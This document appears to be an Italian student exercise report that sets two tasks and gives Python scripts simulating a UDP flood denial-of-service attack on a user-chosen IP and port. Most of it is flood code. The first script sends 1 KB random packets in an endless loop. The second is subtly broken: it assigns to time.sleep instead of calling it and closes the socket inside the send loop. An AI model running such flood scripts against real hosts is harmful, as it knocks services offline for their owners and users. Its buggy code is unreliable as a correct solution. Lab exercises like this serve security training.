

Negli esercizi del seguente report andremo a scrivere con Python due script per simulare un attacco DDoS verso un'altra macchina

Gli attacchi di tipo DDoS (Distributed Denial of Services) mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende.

TASKS

#1

L'esercizio di oggi è scrivere un programma in Python che simuli un UDP flood, ovvero l'invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP casuale (nel nostro caso un DoS). Requisiti:

- Il programma deve richiedere l'inserimento dell' IP target (input)
- Il programma deve richiedere l'inserimento della porta target (input)
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto
- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare (input)

#2

Estendere l'esercizio implementando un meccanismo di ritardo casuale tra l'invio di pacchetti UDP. Questo può rendere l'attacco più realistico e meno prevedibile, simulando meglio il comportamento di un numero elevato di utenti che inviano richieste al server in modo indipendente. Il ritardo casuale deve essere tra 0 e 0.1 secondi.

EXECUTION

Task #1

```
1 import socket                                #importo la libreria socket per la creazione di socket
2 import random                                #importo la libreria random per la generazione di numeri casuali
3
4 def dos():                                    #definisco la funzione dos
5
6     packet = random._urandom(1024)           #creo un pacchetto casuale di 1024 byte
7
8     while True:                               #inizio un ciclo infinito
9         for i in range(numero_pacchetti):    #per ogni pacchetto da inviare
10             s.sendto(packet, target)         #invio il pacchetto al target
11             print("Invio di ",i,"pacchetti in corso\n") #stampo il numero di pacchetti inviati
12
13 ip_address = input("Inserisci indirizzo IP: ") #richiedo l'indirizzo IP di destinazione
14 target_port = int(input("Inseirci porta: "))  #richiedo la porta di destinazione
15 numero_pacchetti = int(input("Inserire il numero di pacchetti per l'attacco: ")) #richiedo il numero di pacchetti da inviare
16
17 try:    #provo a creare una socket UDP
18     s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #creo una socket UDP
19     target = ip_address, target_port                #assegno l'indirizzo IP e la porta alla variabile target
20
21 except Exception as e:                            #se si verifica un'eccezione
22     print("Errore di connessione.", e)             #stampo l'errore
23     s.close()                                       #chiudo la socket
24     exit()                                          #esco dal programma
25
26 dos()                                              #chiamo la funzione dos per iniziare l'attacco
27
28
```

Task #2

```
1 import socket                                #importo la libreria socket per le connessioni di rete
2 import random                                #importo la libreria random per generare numeri casuali
3 import time                                  #importo la libreria time per gestire il tempo
4
5 def dos(ip_target, port_target, n_pacchetti): #definisco la funzione dos che prende in input l'ip, la porta e il numero di pacchetti
6     s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #creo un oggetto socket di tipo UDP
7     print(str(time.time()) + " inizio attacco")          #stampo il tempo di inizio attacco
8
9     for i in range(n_pacchetti):                      #ciclo per inviare i pacchetti
10         packet = random._urandom(1024)                #creo un pacchetto casuale di 1024 byte
11         s.sendto(packet, (ip_target, port_target))    #invio il pacchetto all'ip e alla porta specificati
12         print(str(time.time())+" invio pacchetti" + str(i+1)) #stampo il numero di pacchetti inviati
13         time.sleep = (random.random()*0.1)            #aspetto un tempo casuale tra 0 e 0.1 secondi prima di inviare il prossimo pacchetto
14         s.close()                                       #chiudo la connessione socket
15         print("Attacco completato!")
16
17 ip_target = input("Inserisci l'IP: ")
18 port_target = int(input("Inserisci la porta: "))
19 n_pacchetti = int(input("Inserire il numero di pacchetti per l'attacco: "))
20
21 dos(ip_target, port_target, n_pacchetti)
22
```